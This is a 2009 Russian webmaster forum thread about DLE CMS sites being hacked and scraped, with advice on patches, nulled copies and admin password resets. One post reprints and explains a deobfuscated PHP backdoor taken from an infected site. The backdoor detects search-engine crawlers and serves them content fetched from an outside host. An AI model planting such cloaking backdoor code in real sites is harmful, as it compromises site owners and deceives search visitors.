X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

3 страниц V  < 1 2 3 >
Открыть тему
Тема закрыта
> Взламывают Dle
centurion
centurion
сообщение 23.12.2009, 15:07; Ответить: centurion
Сообщение #12


(demon932008 @ 23.12.2009, 11:47) *
centurion, вордпресс не лучшеsmile.gif

На вордпресс забил если что smile.gif
phpbb в корне, в папке ниже корня движок Друпал, например.

DLE хороший движок для СДЛ, но из-за того что его парсят в три секунды на автомате - даром не нужен. Ты пыхтишь наполняешь, школьники и дорвейщики налетели все спарсили и пипец твоему унику. smile.gif

Сообщение отредактировал centurion - 23.12.2009, 15:09
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
sZend
sZend
сообщение 23.12.2009, 15:22; Ответить: sZend
Сообщение #13


centurion, респект за drupal. но чем меньше школьнигов им пользуется тем лучше.
Я сам не понимаю как можно платить деньги на DLE если это дыра-дырой, я понимаю что все здесь на нулах, но тем не менее это платный двиг, и неужели кто то его покупает?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Inviseble_Demon
Inviseble_Demon
сообщение 25.12.2009, 14:48; Ответить: Inviseble_Demon
Сообщение #14


На счет того что парсят - да.
Но все они цепляются к не понять для чего реализованным ID новости в диве. Они просто ID выпарсивают и полетели ))
Все это можно вылечить за 30-50$ и пару дней. Просто изменить ЧПУ и переработать шаблон выводимый именно CMS
И все. На этом все парсеры особенно фришные лягут. Если конечно кому и понадобиться выпарсить - ИМХО выпарсят ! Но учтите что выпарсить можно любой двиг тем долее если это индивидуальная задача.

Говорю это потому как однажды сам перерабатывал по заказу такой грабер. Заказчику потребовалось адалтный сайт сграбить а там все изменено до неузноваемости. пара часов и вуаля скрипт схавал. Но это нужно заказывать мало кто из имеющих данный парсер способны реализовать это. ИМХО

На счет дрявости - я промолчу так как просто нечего сказать кроме ДА......


--------------------
Отзывы: Weblancer.Net Nulled.Ws
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
AleksandrSergeev
AleksandrSergeev
сообщение 25.12.2009, 15:06; Ответить: AleksandrSergeev
Сообщение #15


(sZend @ 23.12.2009, 16:22) *
Я сам не понимаю как можно платить деньги на DLE если это дыра-дырой, я понимаю что все здесь на нулах, но тем не менее это платный двиг, и неужели кто то его покупает?

Ну у меня лицензионный дле, купил и не жалею, офф-версия (НЕ НУЛЛ!!!) Достаточно надежна, в случае обнаружения дыр в движке, мне на мыло от целлсофта приходит письмо с ссылкой на патч.
Так что ломают именно сайты на нуллах и сайты владельцы которых ленятся ставить патчи.

ЗЫ хотя контент с дле грабится конечно на раз-два, но этим помоему любые cms грешат. Единственная хорошая защита от граббера, это создание сайта на html с уникальным шаблоном каждой странички biggrin.gif

Сообщение отредактировал AleksandrSergeev - 25.12.2009, 15:10
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
FlashBlack
FlashBlack
сообщение 25.12.2009, 15:18; Ответить: FlashBlack
Сообщение #16


ммм оф версия движка. - защита от взломов.
перед установкой потусторонних модулей, проверяем его с ног до головы - анти-хак вашего сайта.
маленькое шаманство с кодом - стандартные грабберы ничего не сделают.


но от грамотных программеров не скроешься, лично я могу любой сайт с граббить=) (выпендрился)


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
marts
marts
сообщение 25.12.2009, 15:32; Ответить: marts
Сообщение #17


(Turbo_Pie @ 23.12.2009, 2:47) *
Кто может объяснить, что здесь такое понаписали? Спасибо за информацию!

<?php
$x12 = "file";
$x13 = "fsockopen";
$x14 = "implode";
$x15 = "strpos";
if ($_GET['chek'])
{
    echo "\074\x21--CHECK1231293712387213--\x2d\x2d>";
}
$x0b = array();
$x0b['ad_Robots_UserAgent'] = array('Google', 'Googlebot', 'msnbot', 'Yandex',
    'YaDirectBot');
$x0b['ad_IsRobot'] = false;
foreach ($x0b['ad_Robots_UserAgent'] as $x0c)
{
    if ($x15($_SERVER['HTTP_USER_AGENT'], $x0c) !== false)
    {
        $x0b['ad_IsRobot'] = true;
        break;
    }
}
$x0d = '';
if ($x0b['ad_IsRobot'])
{
    $x0d = @$x13("vip-base.ws", 80, $x0e, $x0f, 8);
    if (!$x0d)
    {
        echo "";
    }
    else
    {
        $x10 = @fsockopen("http://vip-base.ws/yandex/scan.php?host=$_SERVER[SERVER_NAME]&ip=$_SERVER[REMOTE_ADDR]");
        if ($x10 == true)
            echo implode('', $x10);
    }
}
unset($x0b, $x0c, $x11, $x0d);
return $x0d; ?>

Вот что получилось. Т.е. Запустить этот скрипт у Вас врядли получится. Так как, думаю, что идет проверка на Ip и только с нужного айпи запустится этот скрипт scan.php.
Советую найти в логах сервера вызов /engine/data/scan.php?check=
И айпи с какого запускался этот скрипт подставить в строку
http://vip-base.ws/yandex/scan.php?host=si...&ip=*.*.*.*
В скрипте есть правда пару ошибок и непоятных вещей(зачем выводить переменную если он её до этого уничтожил или как результат fsockopen будет равен true, а потом сразу же в нем есть массив данных который он его выводит на экран и ещё пару вещей выше).
Но главное, но этот результат работы скрипта не будет виден роботам ПС.

А ДЛЕ довольно таки защищенная система. А поломать можно всё. Тем более что Вы наверняка используете нулл.
+ В шаблонах что есть на в свободном доступе часто содержатся шеллы. Они есть и в картинках и в файле login.tpl. Потому всегда(!!!!) проверяйте то, что заливаете на сервер.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
gemkeepers
gemkeepers
сообщение 27.12.2009, 13:20; Ответить: gemkeepers
Сообщение #18


Помогите и мне..
8.2
пароль от админки не подходит.. потерянный пароль не высылается, используется новый шаблон, вкачанный не мной на фтп. Что делать?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
AleksandrSergeev
AleksandrSergeev
сообщение 27.12.2009, 13:25; Ответить: AleksandrSergeev
Сообщение #19


(gemkeepers @ 27.12.2009, 14:20) *
Помогите и мне..
8.2
пароль от админки не подходит.. потерянный пароль не высылается, используется новый шаблон, вкачанный не мной на фтп. Что делать?


В phpMyAdmin таблица dle_users (Префикс dle может отличаться) Найти там строчку с вашим логином, открыть на редактирование и в поле password вставить c3284d0f94606de1fd2af172aba15bf3 Ваш пароль сменится на admin
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
saneck08
saneck08
сообщение 27.12.2009, 13:40; Ответить: saneck08
Сообщение #20


(gemkeepers @ 27.12.2009, 12:20) *
Помогите и мне..
8.2
пароль от админки не подходит.. потерянный пароль не высылается, используется новый шаблон, вкачанный не мной на фтп. Что делать?

если пароль не высылается, то зайдите в БД MySQL, и там вручную у админа создайте новый пароль.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
gemkeepers
gemkeepers
сообщение 27.12.2009, 13:41; Ответить: gemkeepers
Сообщение #21


(AleksandrSergeev @ 27.12.2009, 12:25) *
В phpMyAdmin таблица dle_users (Префикс dle может отличаться) Найти там строчку с вашим логином, открыть на редактирование и в поле password вставить c3284d0f94606de1fd2af172aba15bf3 Ваш пароль сменится на admin



Сделал, вошел, выкинуло, и теперь сменился пароль на БД..
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
3 страниц V  < 1 2 3 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) DLE xProtect
2 xoopw 5977 15.1.2024, 21:06
автор: Diana_Wesley
Открытая тема (нет новых ответов) Обновить сайт на CMS DLE
1 Sawich 1661 2.9.2023, 10:10
автор: WoWeb
Открытая тема (нет новых ответов) Изготовление красивых сайтов на DLE под ключ | Доступные цены
от 2000 руб.
1 Admiral_ukr 1598 20.11.2022, 10:08
автор: Webmaster24
Открытая тема (нет новых ответов) Ищу спеца по DLE вылечить сайт
4 Reactive 2638 22.10.2022, 9:01
автор: Fozik77
Открытая тема (нет новых ответов) требуется перенос с Dle на wordpres
нужен человек для переноса движка
5 Юрий82 1943 30.7.2022, 18:02
автор: Klerik84


 



RSS Текстовая версия Сейчас: 18.4.2024, 14:32
Дизайн